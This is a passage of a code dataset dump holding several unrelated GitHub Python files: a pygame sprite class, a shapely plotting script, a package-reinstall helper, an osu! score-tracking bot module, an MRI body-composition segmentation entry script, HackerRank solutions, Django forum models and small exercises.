get_item_info_from('http://zhuanzhuan.ganji.com/detail/797384445754605569z.shtml?from=pc&source=ganji&cate=%E5%8C%97%E4%BA%AC%E8%B5%B6%E9%9B%86%7C%E5%8C%97%E4%BA%AC%E4%BA%8C%E6%89%8B%7C%E5%8C%97%E4%BA%AC%E4%BA%8C%E6%89%8B%E7%AC%94%E8%AE%B0%E6%9C%AC&cateurl=bj|wu|ershoubijibendiannao')","repo_name":"xinlei3166/website_capture","sub_path":"ganjiwang_perfect/page_parsing.py","file_name":"page_parsing.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29779465355","text":"# -*-coding:utf-8-*-\n\nimport pygame\nfrom settings import *\nfrom support import *\nfrom game import *\n\nclass AbyssSpell(pygame.sprite.Sprite):\n def __init__(self, pos, groups, obstacle_sprites):\n pygame.sprite.Sprite.__init__(self, groups)\n # 생성시 처음 이미지 지정 상속받는 각 몬스터 클래스에서 지정해줘야한다.\n self.display_surface = pygame.display.get_surface()\n self.image = pygame.image.load('image/Monster/AbyssSpell/spell.png').convert_alpha()\n self.image = pygame.transform.scale(self.image, ABYSS_SPELL_SIZE)\n self.rect = self.image.get_rect(topleft=pos)\n self.hitbox = self.rect.inflate(-50, -30) # 이미지 사각형의 크기 줄여 hitbox로 사용\n\n self.scale = ABYSS_SPELL_SIZE\n self.CameraOffset = [0, 0]\n self.isAttack = False\n\n # graphic setup\n self.import_assets('image/Monster/AbyssSpell/', ABYSS_SPELL_INFO)\n self.status = 'spell'\n\n # animation 바꿀 때 사용\n self.frame_index = 0\n self.animation_speed = 20.0\n self.animation_time = 0.0\n self.animation_time_max = 0.1\n self.animation_end = False\n\n self.SkillON = True\n\n # movement\n self.speed = 20\n self.boundary = 10\n self.obstacle_sprites = obstacle_sprites\n\n self.target_pos = 0 # 플레이어의 위치 정보\n\n def import_assets(self, path, MonsterInfo):\n self.spr = {'spell': [],\n 'spellL' : []}\n\n for spr_name in self.spr.keys():\n self.spr[spr_name] = import_sprites_image(path, spr_name +'.png',\n MonsterInfo[spr_name]['idx'],\n MonsterInfo[spr_name]['size'])\n\n def ON(self, target_pos, initial_pos):\n # 플레이어가 왼쪽에 있으면 왼쪽 화면 바깥까지, 오른쪽에 있으면 오른쪽 화면 바깥까지 공격\n distance = initial_pos[0] - target_pos\n self.target_pos = -100 if distance >= 0 else 2800\n self.status = 'spellL' if distance >= 0 else 'spell'\n self.isAttack = True\n self.SkillON = True\n self.hitbox.centerx = initial_pos[0] - 70 if distance >= 0 else initial_pos[0] + 70\n self.hitbox.y = 460\n\n def ON_P_R(self, target_pos, initial_pos):\n # 플레이어가 왼쪽에 있으면 왼쪽 화면 바깥까지, 오른쪽에 있으면 오른쪽 화면 바깥까지 공격\n distance = initial_pos[0] - target_pos\n self.target_pos = 2800\n self.isAttack = True\n self.SkillON = True\n self.hitbox.centerx = initial_pos[0] + 70\n self.hitbox.y = 460\n\n def ON_P_L(self, target_pos, initial_pos):\n # 플레이어가 왼쪽에 있으면 왼쪽 화면 바깥까지, 오른쪽에 있으면 오른쪽 화면 바깥까지 공격\n distance = initial_pos[0] - target_pos\n self.target_pos = -100\n self.isAttack = True\n self.SkillON = True\n self.hitbox.centerx = initial_pos[0] - 70\n self.hitbox.y = 460\n\n def animate(self, df):\n spr = self.spr[self.status]\n\n if self.SkillON == True:\n self.animation_time += df / 1000.0 * self.animation_speed\n\n if self.animation_time >= self.animation_time_max:\n self.animation_time = 0\n self.frame_index += 1\n else:\n self.frame_index = 0\n\n if self.frame_index >= len(spr): # 스프라이트 마지막 이미지까지 보여준 뒤\n self.frame_index = 0 # 다시 처음 이미지로 돌아가기\n\n self.image = spr[int(self.frame_index)]\n position = (self.hitbox.center[0] - 10, self.hitbox.center[1] + 20)\n self.rect = self.image.get_rect(center=position)\n\n def collision(self, direction):\n if direction == 'horizontal':\n for sprite in self.obstacle_sprites:\n if sprite.hitbox.colliderect(self.hitbox):\n if self.direction.x > 0: # collision occurs while moving right\n self.hitbox.right = sprite.hitbox.left\n elif self.direction.x < 0:\n self.hitbox.left = sprite.hitbox.right\n\n def update(self, df):\n self.animate(df)\n # 어택 박스 정보 갱신\n attackBox = pygame.Rect(self.hitbox)\n attackBox = attackBox.inflate(40, -30)\n attack_hitbox = sub_Coordinate(attackBox,\n (self.CameraOffset[0], self.CameraOffset[1] - self.scale[1] / 4, 0, 0))\n\n if abs(self.hitbox.centerx - self.target_pos) == 0:\n self.SkillON = False\n self.isAttack = False\n self.hitbox.x = -500\n self.hitbox.y = -500\n self.move()\n\n def getHitBox(self):\n attackBox = pygame.Rect(self.hitbox)\n attackBox = attackBox.inflate(-self.scale[0] / 16, -self.scale[1] / 3)\n return attackBox\n\n def move(self):\n # abyss attack2 공격 직후 생성하여 플레이어 방향으로 계속 움직임\n # 수정사항 : 플레이어 위치까지만 움직이지 말고 화면 밖으로 계속 이동\n distance = self.target_pos - self.hitbox.x\n if self.SkillON: # 공격상태일 경우 움직임\n if abs(distance) > self.boundary: # 스프라이트와 플레이어의 거리가 self.boundary 보다 멀면 동작\n if distance < 0: # 왼쪽 방향에 플레이어가 있음\n self.hitbox.x -= self.speed\n else: # 오른쪽 방향에 플레이어가 있음\n self.hitbox.x += self.speed\n else:\n self.SkillON = False\n self.hitbox.x = -500\n self.hitbox.y = -500","repo_name":"CSID-DGU/2022-1-OSSProj-GaCo-3","sub_path":"code/AbyssSpell.py","file_name":"AbyssSpell.py","file_ext":"py","file_size_in_byte":5829,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20423941345","text":"'''\nFrom shapely respo.\n'''\n\nfrom matplotlib import pyplot\nfrom shapely.geometry import Point\nfrom shapely.ops import cascaded_union\nfrom descartes import PolygonPatch\n\nfrom matplotlib.font_manager import FontProperties\nfont_song = FontProperties(fname=\"/usr/share/fonts/xpfonts/simfang.ttf\")\n\n\nfrom figures import SIZE, BLUE, GRAY, set_limits\n\npolygons = [Point(i, 0).buffer(0.7) for i in range(5)]\n\nfig = pyplot.figure(1, figsize=SIZE, dpi=90)\n\n# 1\nax = fig.add_subplot(121)\n\nfor ob in polygons:\n p = PolygonPatch(ob, fc=GRAY, ec=GRAY, alpha=0.5, zorder=1)\n ax.add_patch(p)\n\nax.set_title('a) 多边形', fontproperties=font_song)\n\nset_limits(ax, -2, 6, -2, 2)\n\n# 2\nax = fig.add_subplot(122)\n\nu = cascaded_union(polygons)\npatch2b = PolygonPatch(u, fc=GRAY, ec=GRAY, alpha=0.5, zorder=2)\nax.add_patch(patch2b)\n\nax.set_title('b) 合并结果', fontproperties=font_song)\n\nset_limits(ax, -2, 6, -2, 2)\n\n# pyplot.show()\n\nimport os\n\npyplot.savefig(os.path.join(\n os.path.dirname(__file__),\n 'xx{bname}.pdf'.format(\n bname=os.path.splitext(os.path.basename(__file__))[0][4:]\n )\n),bbox_inches='tight')\n\npyplot.savefig(os.path.join(\n os.path.dirname(__file__),\n 'xx{bname}.png'.format(\n bname=os.path.splitext(os.path.basename(__file__))[0][4:]\n )\n),bbox_inches='tight')\npyplot.clf()\n","repo_name":"bukun/book_python_gis","sub_path":"part010/ch05_shapely/sec5_operate/test_fig_cascaded_union.py","file_name":"test_fig_cascaded_union.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":180,"dataset":"github-code","pt":"31"} +{"seq_id":"20374493679","text":"from anthros import core as ac\n\ninfo = ac.tools.info\nsimple = ac.tools.simple\nmanager = ac.tools.manager\n\nif 'Создание временных __init__.py':\n actual_ac = info.project_path().split(simple.slash_os())\n actual_ac = simple.slash_os().join(actual_ac[:len(actual_ac) - 1] + ['src', 'anthros'])\n\n fold_dict_ac = manager.fold_dict(actual_ac)\n module_suicide = 'import os\\nos.remove(__file__)'\n\n def dict_sort(value: dict):\n out = dict()\n for key in value.keys():\n if simple.type(value[key]) == 'dict':\n out[key] = dict_sort(value[key])\n elif simple.type(value[key]) == 'str' and simple.file_exist(value[key]) == 'folder' and '__pycache__' not in value[key]:\n temp = value[key] + simple.slash_os() + '__init__.py'\n if simple.file_exist(temp) != 'file':\n manager.save_file(temp, module_suicide)\n\n dict_sort(fold_dict_ac)\n\nif 'Переустановка AC':\n path = ac.extens.path(__file__) - 2\n\n try: manager.remove(str(path + f'src/anthros_core.egg-info'))\n except: pass\n fold = ac.tools.represent.fold_dict(str(path + 'dist'))\n for key in fold.keys():\n if '.whl' in key: manager.remove(fold[key])\n\n if ac.tools.assembly.create_whl(str(path)) != 0: exit()\n\n fold = ac.tools.represent.fold_dict(str(path + 'dist'))\n for key in fold.keys():\n if '.whl' in key: ac.tools.assembly.install_package(fold[key])","repo_name":"Tand-Anthros/Anthros-Core","sub_path":"tests/reinstall.py","file_name":"reinstall.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71897042648","text":"from psycopg2.extras import wait_select\n\nfrom .api_calls import Api\n\n\nclass NewTopPlay:\n def __init__(self, bot):\n self.bot = bot\n self.osu_api = Api()\n self.new_score_num = int()\n\n # aiohttp json returns a dictionary with it's individual key values as a list\n # I only need beatmap_id, which is the 2nd element in the list, thus the 'magic number'\n async def format_user_best(self, top_scores):\n formatted = []\n for scores in top_scores:\n for info in scores.items():\n formatted.append(info[1])\n break\n return formatted\n\n async def add_player_scores(self, username, user_id, top_scores):\n self.bot.db.execute(\"INSERT INTO top_scores (username, user_id, scores) \"\n \"SELECT * FROM (SELECT %s, %s, %s) \"\n \"AS tmp \"\n \"WHERE NOT EXISTS \"\n \"(SELECT username FROM top_scores WHERE user_id = %s) \"\n \"LIMIT 1;\",\n (username, user_id, top_scores, user_id))\n wait_select(self.bot.db.connection)\n\n async def add_scores(self, username, user_id):\n top_scores = await self.format_user_best(await self.osu_api.get_user_best(user_id))\n await self.add_player_scores(username, user_id, top_scores)\n\n async def remove_scores(self, username):\n self.bot.db.execute(\"DELETE FROM top_scores \"\n \"WHERE username ILIKE %s\",\n (username, ))\n wait_select(self.bot.db.connection)\n\n async def get_top_scores(self, user_id):\n self.bot.db.execute(\"SELECT scores \"\n \"FROM top_scores \"\n \"WHERE user_id = %s\",\n (user_id, ))\n wait_select(self.bot.db.connection)\n return self.bot.db.fetchone()[0] # psycopg2 always returns a list\n\n async def change_type(self, score_list):\n return score_list[1:][:-1].split(',')\n\n async def check_for_new_play(self, user_id):\n old_plays = await self.change_type(await self.get_top_scores(user_id))\n new_plays = await self.format_user_best(await self.osu_api.get_user_best(user_id))\n if new_plays != old_plays:\n self.new_score_num = await self.check_num_of_new_play(user_id, old_plays, new_plays)\n\n async def check_num_of_new_play(self, user_id, score_list, api_score_list):\n for idx, score in enumerate(score_list):\n if score != api_score_list[0 + idx]:\n await self.update_changes(api_score_list, user_id)\n return idx + 1\n return\n\n async def update_changes(self, new_plays_list, user_id):\n self.bot.db.execute(\"UPDATE top_scores \"\n \"SET scores = %s \"\n \"WHERE user_id = %s\",\n (new_plays_list, user_id))\n wait_select(self.bot.db.connection)\n\n","repo_name":"iotanum/iotabot","sub_path":"cogs/osu/helpers/new_top_score.py","file_name":"new_top_score.py","file_ext":"py","file_size_in_byte":3004,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"5110489577","text":"\"\"\"\nUsage:\n main.py --sample_id --model_file --input_dir --modality --range_file [--output_filename ] [--working_dir ] [--logging_dir ] [--output_dir ] [--muscle_color ] [--vat_color ] [--asat_color ]\n\n\nArguments:\n --sample_id The health data ID\n --input_dir Directory of dicoms to process (local or s3)\n --model_file Location of model file (local or S3)\n --modality Indicates wether processing fat or muscle\n --range_file Normal range excel file for output biomarkers\n --num_classes class number, fat: (ASAT, VAT, OTHRE) is 3, water: (tight muscle, other) is 2\n --slice_interval Slice interval range on the cross section of the original image [default: 1:556]\n --resize_shape Resize the image data after slicing to the corresponding size [default: 160,128,232]\n --slice_or_resize Ways to reduce data size:\"slice\" or \"resize\" [default: slice]\n\n \nOptions:\n --output_filename The name of the output json filename [default: whole_body_composition.json]\n --working_dir Working directory to use for downloading and processing files [default: /scratch]\n --logging_dir Directory to write log files to [default: /clogs]\n --output_dir Output directory (local or s3) folder path [default: /mnt]\n --muscle_color Color for muscle tissue [default: 119,252,226]\n --vat_color Color for viceral adipose fat tissue [default: 252,111,130]\n --asat_color Color for subcutaneous fat tissue [default: 115,220,255]\n \n\n\n Uses a machine learning algorithm to perform segmentation of visceral adipose tissue (VAT), abdominal subcutaneous adipose tissue (ASAT) and thigh muscle.\n Colors the output dicom images by tissue type, calculates volume and other statistics which are written to the dicom images and HL7 FHIR compliant output json.\n\"\"\"\n\nimport hli_python3_utils\nimport logging\nimport sys\nimport argparse\nimport os\nimport utils\nfrom docopt import docopt\nfrom interfaces.run_job import RunJobInterface\nimport hli_python3_utils\nimport shutil\n\nfile_utils = hli_python3_utils.client(\"FileUtils\")\n\n#Set up logging to file\nlogging_utils = hli_python3_utils.client(\"LoggingUtils\")\n\ndef get_parameters(modality):\n if modality == \"MUSCLE\":\n slice_interval = [197,501]\n resize_shape = [304,256,320]\n num_classes = 2\n slice_or_resize = 'slice'\n elif modality == \"FAT\":\n slice_interval = [120,360]\n resize_shape = [240,256,320]\n num_classes = 3\n slice_or_resize = 'slice'\n else:\n raise Exception(f\"modality value must be MUSCLE or FAT, current value of get modality is {modality}\")\n return slice_interval, resize_shape, num_classes, slice_or_resize\n\n\ndef main(arguments):\n \n parser_utils = hli_python3_utils.client('ParserUtils')\n\n \n arguments = docopt(__doc__)\n args = parser_utils.convert_docopt_arguments_to_argparse(arguments)\n logger = logging_utils.get_logger(os.path.join(args.logging_dir, \"whole-body-composition.log\"))\n\n modality = args.modality.upper()\n if modality != 'MUSCLE' and modality != 'FAT':\n logger.error('Invalid modality type specified: {}, must be either FAT or MUSCLE'.format(modality))\n sys.exit(1)\n \n colors = {}\n colors['muscle_color'] = [int(i) for i in args.muscle_color.split(',')]\n colors['vat_color'] = [int(i) for i in args.vat_color.split(',')]\n colors['asat_color'] = [int(i) for i in args.asat_color.split(',')]\n \n # resize_shape = [int(i) for i in args.resize_shape.split(\",\")]\n # slice_interval = [int(i) for i in args.slice_interval.split(\",\")]\n \n slice_interval, resize_shape, num_classes, slice_or_resize = get_parameters(modality)\n \n assert len(slice_interval) == 2, Exception(\"The length of the slice interval variable must be 2\")\n logger.info(f'resize shape is {resize_shape}, slice interval is {slice_interval}')\n\n if not os.path.exists(args.logging_dir):\n logger.error('Missing logging_dir: {}'.format(args.logging_dir))\n os.makedirs(args.logging_dir)\n # sys.exit(1)\n else:\n shutil.rmtree(args.logging_dir)\n os.makedirs(args.logging_dir)\n \n if not os.path.exists(args.working_dir):\n logger.error('Missing working_dir: {}'.format(args.working_dir))\n os.makedirs(args.working_dir)\n else:\n shutil.rmtree(args.working_dir)\n os.makedirs(args.working_dir)\n \n \n\n # validate files exist in s3\n utils.validate_file('Model file', args.model_file)\n \n # download the files from s3 \n model_file = utils.copy_model_file(args.model_file, args.working_dir)\n dicom_path = utils.copy_input_dir_to_working_dir(args.input_dir, args.working_dir)\n range_file = utils.copy_range_file(args.range_file, args.working_dir) # newly added\n\n logger.info('Executing Analysis...')\n run_interface = RunJobInterface(args.logging_dir, modality, int(num_classes), model_file, range_file, args.working_dir, args.sample_id, args.output_filename, colors, resize_shape)\n run_interface.execute(dicom_path, slice_interval, resize_shape, slice_or_resize=slice_or_resize)\n \n utils.write_results_to_output(args.working_dir, args.output_dir, args.output_filename)\n logger.info('Analysis complete...')\n\nif __name__ == '__main__':\n main(sys.argv[1:])\n","repo_name":"characterma/hli-tool-whole-body-composition","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33959187360","text":"#!/bin/python3\n\nimport os\n\n\n#\n# Complete the storyOfATree function below.\n#\ndef storyOfATree(n, edges, k, guesses):\n #\n # Write your code here.\n #\n import fractions\n\n # Compute neighbors of nodes.\n neighbors = [[] for _ in range(n)]\n for [u, v] in edges:\n neighbors[u - 1].append(v - 1)\n neighbors[v - 1].append(u - 1)\n # Compute parents of nodes, assuming 0 is root.\n parents = [None] * n\n stack = [0]\n while stack:\n node = stack.pop()\n for neighbor in neighbors[node]:\n if neighbor == parents[node]:\n continue\n parents[neighbor] = node\n stack.append(neighbor)\n points = [None] * n\n # Convert guesses into a set.\n guess_set = set((u - 1, v - 1) for u, v in guesses)\n # Compute points[0].\n points[0] = 0\n for u, v in guess_set:\n if parents[v] == u:\n points[0] += 1\n # Compute points[1:].\n stack = list(neighbors[0])\n while stack:\n node = stack.pop()\n parent = parents[node]\n points[node] = points[parent]\n if (parent, node) in guess_set:\n points[node] -= 1\n if (node, parent) in guess_set:\n points[node] += 1\n for neighbor in neighbors[node]:\n if neighbor != parent:\n stack.append(neighbor)\n numerator = sum(p >= k for p in points)\n if not numerator:\n return '0/1'\n elif numerator == n:\n return '1/1'\n else:\n return str(fractions.Fraction(numerator, n))\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n q = int(input())\n\n for q_itr in range(q):\n n = int(input())\n\n edges = []\n\n for _ in range(n - 1):\n edges.append(list(map(int, input().rstrip().split())))\n\n gk = input().split()\n\n g = int(gk[0])\n\n k = int(gk[1])\n\n guesses = []\n\n for _ in range(g):\n guesses.append(list(map(int, input().rstrip().split())))\n\n result = storyOfATree(n, edges, k, guesses)\n\n fptr.write(result + '\\n')\n\n fptr.close()\n","repo_name":"HBinhCT/Q-project","sub_path":"hackerrank/Algorithms/The Story of a Tree/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"16844124317","text":"guess = \"whale\"\nprint(\"Hello! Are you ready to play a guessing game?\")\nprint(\"Try guessing the animal. This animal lives in the water and is one of the biggest in the ocean!\")\nawnser1 = input(\"ready?\").lower()\nwhile awnser1 == \"yes\" :\n awnser2 = input(\"What is your guess?\").lower()\n if awnser2[0] == \"q\":\n awnser1 = \"No\"\n elif awnser2 == guess :\n print(\"Well done! You're a genius! Thank you for playing!\")\n awnser1 = \"no\"\n else:\n print(\"Good guess but that is not right. Another hint is that they eat barnacle\")","repo_name":"oliviamiranda/IntroProgramming-Labs","sub_path":"guessing-game.py","file_name":"guessing-game.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72310162008","text":"#https://www.hackerrank.com/challenges/beautiful-triplets/problem\r\n#!/bin/python3\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n# Complete the beautifulTriplets function below.\r\ndef beautifulTriplets(d, arr):\r\n countTriplets = 0\r\n for i,a in enumerate(arr):\r\n temp = 0\r\n baseValue = a\r\n for b in arr[i+1:]:\r\n if b == baseValue+d:\r\n baseValue = b\r\n temp += 1\r\n if temp == 2:\r\n countTriplets +=1\r\n break\r\n return countTriplets\r\n\r\nif __name__ == '__main__':\r\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\r\n\r\n nd = input().split()\r\n\r\n n = int(nd[0])\r\n\r\n d = int(nd[1])\r\n\r\n arr = list(map(int, input().rstrip().split()))\r\n\r\n result = beautifulTriplets(d, arr)\r\n\r\n fptr.write(str(result) + '\\n')\r\n\r\n fptr.close()\r\n","repo_name":"KingPegasus/HackerRank","sub_path":"Problem Solving/Algorithms/Beautiful Triplets.py","file_name":"Beautiful Triplets.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72041860887","text":"from pyramid.session import SignedCookieSessionFactory\r\n\r\nfrom drive.utils.session import (\r\n bind_session_to_user,\r\n session_protector,\r\n)\r\nfrom drive.utils.settings import asbool\r\n\r\ndef includeme(config):\r\n settings = config.get_settings()\r\n\r\n session_factory = SignedCookieSessionFactory(\r\n settings['session.secret'],\r\n salt=settings['session.salt'],\r\n cookie_name=settings['session.cookie_name'],\r\n secure=asbool(settings['session.secure']),\r\n max_age=None,\r\n timeout=None,\r\n reissue_time=None,\r\n httponly=True,\r\n hashalg='sha256',\r\n )\r\n session_factory = session_protector(session_factory)\r\n config.set_session_factory(session_factory)\r\n config.add_request_method(bind_session_to_user)\r\n\r\n config.set_default_csrf_options(require_csrf=True)\r\n","repo_name":"enixdark/pyra-structures","sub_path":"drive/web/front/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6209513201","text":"# -*- coding: utf-8 -*-\nfrom datetime import datetime\nfrom django.db import models\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.contrib.auth.models import User\n\n\nclass Forum(models.Model):\n title = models.CharField(max_length=255, verbose_name=_(u'Title'), help_text=_(u'Maximum 255 simbols'))\n slug = models.SlugField(unique=True, verbose_name=_(u'Slug'), help_text=_(u'Small latin letter, \"-\" and \"_\"'))\n description = models.CharField(max_length=1024, verbose_name=_(u'Description'), help_text=_(u'Maximum 1024 simbols'))\n ordering = models.IntegerField(default=0, verbose_name=_(u'Ordering'), db_index=True, help_text=_(u'Order in forums list'))\n closed = models.BooleanField(verbose_name=_(u'Closed'), db_index=True, default=False, help_text=_(u'If forum is closed, users can not create topics'))\n deleted = models.BooleanField(verbose_name=_(u'Deleted'), db_index=True, default=False)\n\n class Meta:\n ordering = ['ordering',]\n permissions = (\n (\"can_views_forums\", \"Can view forums\"),\n (\"can_close_forums\", \"Can close forum\"),\n (\"can_view_topics\", \"Can view topics in forum\"),\n (\"can_create_topics\", \"Can create topics in forum\"),\n (\"can_change_topics\", \"Can change topics in forum\"),\n (\"can_delete_topics\", \"Can delete topics in forum\"),\n (\"can_close_topics\", \"Can close all topics in forum\"),\n (\"can_close_own_topics\", \"Can close own topics in forum\"),\n (\"can_hide_topics\", \"Can hide topics in forum\"),\n )\n\n def __unicode__(self):\n return self.title\n\n\n\nclass Topic(models.Model):\n forum = models.ForeignKey(Forum)\n subject = models.CharField(verbose_name=_(u'Subject'), max_length=255, help_text=_(u'Maximum 255 simbols'))\n created = models.DateTimeField(default=datetime.now, db_index=True, verbose_name=_(u'Created'))\n public = models.BooleanField(verbose_name=_(u'Publicated'), db_index=True, default=False)\n closed = models.BooleanField(verbose_name=_(u'Closed'), db_index=True, default=False, help_text=_(u'If topic is closed, users can not create messages'))\n deleted = models.BooleanField(verbose_name=_(u'Deleted'), db_index=True, default=False)\n class Meta:\n ordering = ['-id']\n permissions = (\n (\"can_view_articles\", \"Can view topic articles\"),\n (\"can_add_articles\", \"Can add articles in topic\"),\n (\"can_change_articles\", \"Can change articles in topic\"),\n (\"can_delete_articles\", \"Can delete articles from topic\"),\n (\"can_hide_articles\", \"Can hide articles in topic\"),\n (\"can_publish_own_articles\", \"Can publish own articles in topic\"),\n )\n\n\nclass Article(models.Model):\n topic = models.ForeignKey(Topic)\n author = models.ForeignKey(User, blank=True, null=True, verbose_name=_(u'Author'))\n text = models.TextField(verbose_name=_(u'Text of message'), max_length=10000, help_text=_(u'Maximum 10000 simbols'))\n created = models.DateTimeField(default=datetime.now, db_index=True, verbose_name=_(u'Created'))\n updated = models.DateTimeField(auto_now=True, db_index=True, verbose_name=_(u'Created'))\n public = models.BooleanField(verbose_name=u'Publicated', db_index=True, default=False)\n deleted = models.BooleanField(verbose_name=_(u'Deleted'), db_index=True, default=False)\n class Meta:\n ordering = ['created']\n\n def __unicode__(self):\n return u'(%s, %s)' % (self.topic, self.author)\n\n","repo_name":"isergey/talk.arbicon","sub_path":"libcms/apps/forum/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3522,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"24720132275","text":"#19.04.2023\nlst = [[1, 2, 3], [4, 5], [6, 7, 8, 9]]\ntemp = [num for sublist in lst for num in sublist]\nprint(temp)\n\n\n\n\n\n\n# #12.03.2023\n\n# list1 = [3 , 2 , 5 , 6 , 0 , 7, 9]\n# sum = 0\n# sum1 = 0\n# for elem in list1:\n# if (elem % 2 == 0):\n# sum = sum + elem\n# continue\n# if (elem % 3 == 0):\n# sum1 = sum1 + elem\n\n# print(sum , end=\" \")\n# print(sum1)\n# # L'astuce est 2 et 3 divisent 6\n# if (6 % 3 == 0):\n# print(\"OK\")\n# else:\n# print(\"Not OK\")\n\n# 10.03.20223\n# for i in range(1,8,3):\n# print(i,end='')\n\n# def func(x):\n\n# if(x==0 or x==1):\n\n# return 1\n\n# return func(x-1)*x\n\n# func(6) #ça maaarche paaaas\n# print(\"Hellow\")\n\n# # Intéressante façon de traiter cette liste\n# lst1 = [1, 2, 3, 4, 5]\n# lst2 = [i*2 if i%2==0 else i**2 for i in lst1]\n# print(lst2)\n\n# r = 'C'\n# print(int(r, 16))\n# g = {3, 4, 5}\n# h = {5, 2, 3}\n# print(h - g)\n\n# i = {3, 4}\n# j = {5, 2}\n# print(j - i)\n\n# m = {4, 5, 4}\n# n = {2, 3, 5}\n# print(n - m)\n\n# p = {3, 4, 5, 4}\n# q = {5, 2, 3, 5}\n# print(q - p)\n","repo_name":"Xzawier/Python_exos","sub_path":"TestLinkedIn.py","file_name":"TestLinkedIn.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39960243966","text":"# Exercise : Reversing a String/Array [Creating a function that reverses a string]\n\n# Converting it to array\n# def ReverseString(string1):\n# arr_string = []\n# for i in string1:\n# arr_string.append(i)\n#\n# rev_array = []\n# j = len(arr_string) -1\n# while j >= 0:\n# rev_array.append(arr_string[j])\n# j=j-1\n#\n# rev_string = ''\n# for k in rev_array:\n# rev_string+=k\n#\n# return rev_string\n#\n#\n# Name = input('Enter your Array: ')\n# print(ReverseString(Name))\n\n\n\n# Without Converting it to an array\ndef reverse_string(str):\n revStr = ''\n length = len(str)-1\n j = length\n while j>=0:\n revStr += str[j]\n j -= 1\n\n return revStr\n\n\nName = input('Enter String: ')\nprint(reverse_string(Name))\n\n\n# Simplest Way to reverse a string in python\ntxt = \"Hello World\"[::-1]\nprint(txt)","repo_name":"YashwanthRaj/Data-Structures-and-Algorithms","sub_path":"Data Structures : Arrays/String Reversing.py","file_name":"String Reversing.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27281240838","text":"n=int(input())\nal=list(map(int, input().split()))\n\nif n%2==1:\n print('Win')\n exit()\n\nv=0\nfor a in al:\n v^=a\n\nok=False\nfor a in al:\n if v==a:\n ok=True\n\nif (n%2==0 and ok) or (n%2==1 and not ok):\n print('Win')\nelse:\n print('Lose')\n","repo_name":"nami4mo/competitive-programming","sub_path":"1_contest/current/arc131/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30211506346","text":"'''\nDesimir Berardo\nCS100 113\n10/7/2020\n'''\n\ndef space():\n print('-' * 50)\n\ndef hasFinalLetter(strList, letters):\n finalList = []\n for i in strList:\n if i[-1] in letters:\n finalList.append(i)\n return finalList\n\n\ndef isDivisible(maxInt, twoInts):\n finalList = []\n for i in range(1, maxInt):\n if i % twoInts[0] == 0 and i % twoInts[1] == 0:\n finalList.append(i)\n return finalList\n\n\n\nstrList1 = [\"borN\",\"announceD\",\"cast\",\"stood\",\"steady\",\"camera\"]\nfinalLetter1 = \"larfDHesyN\"\n\nprint(hasFinalLetter(strList1, finalLetter1))\n\nstrList2 = [\"spell\",\"cave\",\"outline\",\"grounD\",\"instrument\",\"statement\"]\nfinalLetter2 = \"djkwor\"\n\nprint(hasFinalLetter(strList2, finalLetter2))\n\nstrList3 = [\"tall\",\"contain\",\"by\",\"whistlE\",\"contain\",\"Mine\"]\nfinalLetter3 = \"lnyEne\"\n\nprint(hasFinalLetter(strList3, finalLetter3))\n\nspace()\n\nmaxInt1 = 55\ntwoInts1 = (2, 5)\n\nprint(isDivisible(maxInt1, twoInts1))\n\nmaxInt2 = 77\ntwoInts2 = (2, 4)\n\nprint(isDivisible(maxInt2, twoInts2))\n\nmaxInt3 = 15\ntwoInts3 = (17, 36)\n\nprint(isDivisible(maxInt3, twoInts3))\n\n","repo_name":"DesiBerardo/CS100Code","sub_path":"HW06.py","file_name":"HW06.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74246738008","text":"from typing import Collection, List\n\n\nclass Solution:\n def numPairsDivisibleBy60(self, durations: List[int]) -> int:\n \n ct = Collection.defaultdict(int)\n \n ans = 0\n \n for duration in durations:\n duration %= 60\n \n target = 60 - duration\n target %= 60\n \n ans += ct[target]\n ct[duration] += 1\n \n return ans","repo_name":"has64pitt/leetcode4fun","sub_path":"solutions/1000-1049/1010_Pairs_of_Songs_With_Total_Durations_Divisible_by_60/solutions.py","file_name":"solutions.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72868593688","text":"\"\"\"description:\n Regroupe les annotations de l'étalon-or avec les prédictions. Les 